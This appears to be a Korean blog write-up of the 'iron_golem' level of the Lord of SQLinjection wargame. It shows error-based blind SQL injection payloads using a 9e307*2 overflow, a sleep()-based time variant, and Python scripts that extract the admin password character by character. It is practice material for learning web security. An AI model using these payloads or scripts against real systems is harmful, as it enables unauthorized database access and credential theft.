이번 LOS문제에서 역시 필터링을 먼저 확인하면
1) prob, _ , . 등
2) sleep, benchmark 와 같은 timebased 에서 사용되는 함수
3) addslashes() pw 입력시 양쪽에 / / 가 추가됨
보통 3번 때문에 문제 풀이할 때 pw값을 입력할 때마다 / / 들어가므로, pw에 공격구문을 넣어도 소용이 없어진다.
또한 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); 로 인해 직접 pw값을 찾아야 한다. 아마도 blind injection을 사용할 것으로 보임..
여기서 왜 sleep, benchmark 와 같은 timebased 에서 사용되는 함수를 필터링시켜놨는지는 나중에 알아보도록 하자.
일단 비밀번호의 길이를 파악해야 한다.
payload는 pw = ' ' or id = 'admin' and (인젝션 쿼리) # 인 것 같은데 어떤 인젝션 쿼리가 들어가야 하는지 파악해야 한다.그리고 또 다른점, if(mysqli_error($db)) exit(mysqli_error($db));잘못된 쿼리 입력시 에러 메시지를 보여준다.
pw = ' 만 입력했더니 에러메시지가 보이면서 mysql db를 사용하는 것을 알 수 있었다.간단한 쿼리를 넣어보자.
sql test를 할 수 있는 사이트에서 select 1 쿼리를 시도했을 때 mysql은 그냥 1을 반환한다. 가장 간단한 쿼리인 것 같아 이를 시도해보니...
에러가 뜬다.. 왜지... ㄱ그러면 괄호로 감싸서 날려보자
괄호로 감싸니 풀린다... 왜지...
암튼 그러면 저 괄호안에 blind injection을 할 수 있는 쿼리를 넣어야 한다.
mysql 과 관련한 error based injection payload를 드림핵에서 참고하였다.
injection query : select if(1=0, 9e307*2,0);
mysql의 경우 1=1일때, 9e307*2 를 반환하여야 하는데 범위를 벗어난다는 에러 메시지를 반환한다.
반대로 1=0 거짓일때, 0을 정상적으로 반환한다.
※ (select case when 1=1 then 9e307*2 else 0 end) 쿼리문도 동일한 결과를 보여준다.
실제 문제에 적용해보면..
payload : pw = ' or id= 'admin' and (select if(1=1, 9e307*2, 0) ) %23
1=1 조건이 성립되어 9e307*2를 반환하게 되는데, 이 경우 범위를 벗어나서 에러 메시지를 반환한다.
payload : pw = ' or id= 'admin' and (select if(1=2, 9e307*2, 0) ) %23
1=2 조건이 성립되어 0을 반환하기에 id = 'admin' and 0 %23 과 같은 응답값을 보이게 된다.
이 점을 이용하여 1=1 조건에 pw의 길이를 찾고 substring으로 글자를 하나씩 찾고자 한다.
자동화코드는 다음과 같다.
def pw_len():
len_num = 0
while 1 :
len_num = len_num + 1
value = "' or id = 'admin' and (select if(length(pw)={},9e307*2,0)) #".format(len_num) #injection payload
parmas = {'pw': value} #url에 GET으로 전달하는 파라미터
response = requests.get(url,params=parmas, cookies=cookies)
print(value)
if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text: #응답값에 Hello admin이 있으면 반환
print("password length : ", len_num)
break
return len_num
payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , 9e307*2, 0) ) # (이때 select 써도되고 안써도 됨)
1=1 조건 대신 length(pw)로 길이를 찾도록 설정 후, 찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하게 되어 이를 찾게끔 코드를 작성했다.
다음으로 pw를 한글자씩 찾아보자.
def pw_real(len_num):
pw=''
for i in range(1,len_num+1):
print(i,"번째 검색 중")
for j in range(48, 122): #아스키코드값 48번부터 122번
value = "' or id = 'admin' and (select if(ascii(substr(pw,{},1))={},9e307*2,0)) #".format(i,j) #injection payload
parmas = {'pw':value}
response = requests.get(url, params=parmas, cookies=cookies)
print(j)
if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text: #응답값에 Hello admin이 있으면 반환
pw = pw + chr(j) #chr(): 아스키코드값 -> 문자
print("password : ", pw)
break
return pw
payload : pw = ' or id= 'admin' and (select if( ascii(substr(pw,?,1)) = ? , 9e307*2, 0) ) #
1=1 조건 대신 ascii(substr(pw,?,1)= ? 로 문자를 한글자씩 찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하는 코드를 작성했다.
solve!!!!!!!!!!!!!!!!!!
추가 사항
case when 구문으로도 수행 가능함!
또 궁금한 점..
왜 시간지연함수 즉 timebased injection은 불가능하게 하였는가?
드림핵에서 찾아보니 error-based injection 시도할 때 모두 참값을 반환하는 경우가 있다.
위 문제 역시 or id = 'admin' and 1# or id = 'admin' and 0# 모두 결과값이 동일하다. 앞서 9e307*2 를 이용한 error-based 를 모를 경우 참값만으로 구분해야 하는데.. 이때 sleep()함수와 같이 시간 지연을 통해 참/거짓을 구분할 수 있다.
위 예시처럼,
payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , sleep(1), sleep(10)) ) #
이런식으로 가능하다는 것.. time-based로 풀지말고, error-based 풀게끔 한 조치같다...
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step23. hell_fire 풀이 (0) | 2023.06.21 |
---|---|
[LOS] step22. dark_eyes 풀이 (0) | 2023.06.20 |
[LOS] step20. dragon 풀이 (1) | 2023.06.15 |
[LOS] step19. xvais 풀이 (1) | 2023.06.15 |
[LOS] step18. nightmare 풀이 (0) | 2023.06.14 |